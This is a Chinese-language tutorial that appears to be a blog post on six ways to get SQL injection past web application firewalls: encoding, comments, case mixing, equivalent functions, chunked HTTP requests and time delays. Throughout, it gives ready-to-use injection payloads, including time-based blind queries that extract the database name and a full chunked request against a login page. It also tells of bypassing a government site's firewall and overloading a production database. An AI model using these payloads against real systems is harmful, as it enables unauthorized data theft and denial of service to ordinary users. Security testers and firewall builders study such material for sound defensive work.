绕过思路总览:六脉神剑与实战心法
做SQL注入绕WAF这事儿,说白了就是一场猫鼠游戏。WAF是那只猫,我们是那只老鼠——但别忘了,老鼠也会进化。今天我把这些年积累的六种核心绕过思路,一次性给你讲透。
我个人习惯把这六招叫做「六脉神剑」。不是每招都管用,但总有一招能破防。你想想看,WAF本质上就是个规则引擎,它认的是模式。我们只要让它的模式匹配失效,它就瞎了。
核心思想:WAF识别的是「已知的恶意模式」,我们做的就是「把恶意模式变成它不认识的样子」。
1. 编码绕过:最基础的障眼法
编码绕过,说白了就是把SQL语句用各种编码方式伪装起来。WAF如果没做多层解码,它就认不出来。
常见的编码方式:
- URL编码: 把
'变成%27,把空格变成%20 - 十六进制编码: 把
SELECT写成0x53454C454354 - Unicode编码: 把
union写成%75%6e%69%6f%6e - 双重编码: 先URL编码,再对百分号编码,比如
%25%32%37代表'
我的经验:有一次遇到一个WAF,它对单次URL编码检测很严,但对双重编码完全没反应。我试了三次才发现这个规律——嗯,有时候WAF的漏洞比应用本身还多。
# 原始注入
' UNION SELECT 1,2,3 --
# URL编码绕过
%27%20UNION%20SELECT%201%2C2%2C3%20--
# 十六进制绕过(针对某些数据库)
0x2720756e696f6e2073656c65637420312c322c33202d2d
2. 注释绕过:让WAF看不懂你的逻辑
注释绕过是我最喜欢的一招。为什么?因为它简单、有效,而且变化多端。
WAF在检测时,通常会先去掉注释再分析。但有些WAF处理注释的逻辑有bug,我们就可以利用这一点。
常用注释技巧:
- 内联注释:
/*!UNION*/这种写法在MySQL中会被执行,但WAF可能不认识 - 多行注释拆分:
UN/**/ION把关键字拆开 - 空注释:
/**/插入到关键字中间,比如S/**/ELECT - 混合注释:
--+或#配合换行
避坑指南:我曾经在一个项目中用了内联注释 /*!50000SELECT*/,结果WAF没拦住,但数据库版本太低直接报错了。记住,内联注释后面的版本号不是摆设,要确认目标数据库版本。
# 内联注释绕过
/*!UNION*/ /*!SELECT*/ 1,2,3
# 关键字拆分
UN/**/ION SEL/**/ECT 1,2,3
# 换行+注释混合
id=1' UNION
/*
*/SELECT 1,2,3--
3. 大小写绕过:最笨但最有效
大小写绕过,听起来很low对吧?但你别小看它。很多WAF的规则只写了小写版本,或者只写了特定的大小写组合。
我记得有一次测试一个政府网站,WAF规则写得特别死,只拦截了 union select 全小写。我换成 UnIoN sElEcT,直接过了。你说这WAF是不是有点敷衍?
变化组合:
- 全大写:
UNION SELECT - 全小写:
union select(这个通常被拦) - 大小写混合:
UnIoN SeLeCt - 随机大小写:
uNiOn sElEcT
小技巧:如果手动试大小写太累,可以用SQLMap的 --tamper="randomcase" 自动生成随机大小写。我一般先手动试两三种组合,不行再上工具。
4. 等价函数绕过:换个马甲继续干
WAF通常会拦截特定的函数名,比如 substring()、sleep()。但SQL里实现同一个功能,往往有好几种写法。
常见等价替换:
| 原函数 | 等价替换 |
|---|---|
substring() |
mid()、substr()、left()、right() |
sleep() |
benchmark()、waitfor delay、heavy query |
concat() |
concat_ws()、group_concat()、||(部分数据库) |
if() |
case when、ifnull()、nullif() |
ascii() |
ord()、char()、hex() |
# 原版:时间盲注
' AND IF(ASCII(SUBSTRING((SELECT DATABASE()),1,1))>100,SLEEP(5),0)--
# 等价替换版
' AND IF(ORD(MID((SELECT DATABASE()),1,1))>100,BENCHMARK(5000000,MD5('x')),0)--
5. 分块传输绕过:把毒药分次喂
分块传输,这招比较高级。它利用HTTP协议的分块传输编码(Transfer-Encoding: chunked),把完整的SQL语句拆成多个小块发送。
WAF通常要等接收完整个请求才开始检测。但分块传输是边接收边处理,有些WAF在处理分块时会出现解析漏洞,导致检测失效。
实现方式:
- 手动构造分块请求(用Burp Suite或Python脚本)
- 使用SQLMap的
--tamper="chunked"自动分块 - 分块大小可以随机,增加检测难度
关键点:分块传输不是所有WAF都怕。我遇到过一些WAF,它们会先重组分块再检测,那就没用了。但大部分WAF在处理分块时确实存在漏洞,值得一试。
# 原始请求
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
user=admin' UNION SELECT 1,2,3--
# 分块传输请求
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
5
user=
5
admin
1
'
6
UNION
7
SELECT
3
1,
3
2,
3
3
2
--
0
6. 延迟注入绕过:慢工出细活
延迟注入,也叫时间盲注。这招不是用来绕WAF的规则,而是用来绕WAF的「耐心」。
很多WAF有超时机制——如果请求处理时间超过某个阈值(比如10秒),WAF会直接放行或返回超时。我们可以利用这一点,让WAF以为请求「正常」但超时了。
具体做法:
- 使用
SLEEP()或BENCHMARK()制造延迟 - 延迟时间控制在WAF超时阈值附近(通常5-15秒)
- 配合条件判断,只在特定条件下触发延迟
避坑指南:我曾经在一个生产环境用了10秒的SLEEP,结果WAF没拦住,但数据库连接池被打满了,导致正常用户也访问不了。记住,延迟注入要控制好时间,别把自己玩进去。
# 基础延迟注入
' OR SLEEP(5)--
# 条件延迟注入(只在猜对字符时延迟)
' OR IF(ASCII(SUBSTRING((SELECT DATABASE()),1,1))=100,SLEEP(5),0)--
# 使用BENCHMARK替代SLEEP(某些WAF会拦截SLEEP)
' OR IF(ASCII(SUBSTRING((SELECT DATABASE()),1,1))=100,BENCHMARK(5000000,MD5('x')),0)--
知识体系总览
这六种思路不是孤立的,实际攻防中往往需要组合使用。我画了一张图,帮你理清它们之间的关系:
这六种思路,说白了就是让WAF「认不出、看不懂、等不起」。编码和大小写是让WAF认不出,注释和等价函数是让WAF看不懂,分块传输和延迟注入是让WAF等不起。
我个人建议,在实际测试中先从最简单的开始——大小写和注释绕过。如果不行,再上编码和等价函数。分块传输和延迟注入属于进阶技巧,适合对付那些比较顽固的WAF。
记住,没有万能的绕过方式。每个WAF都有自己的脾气,多试几种组合,总有一种能破防。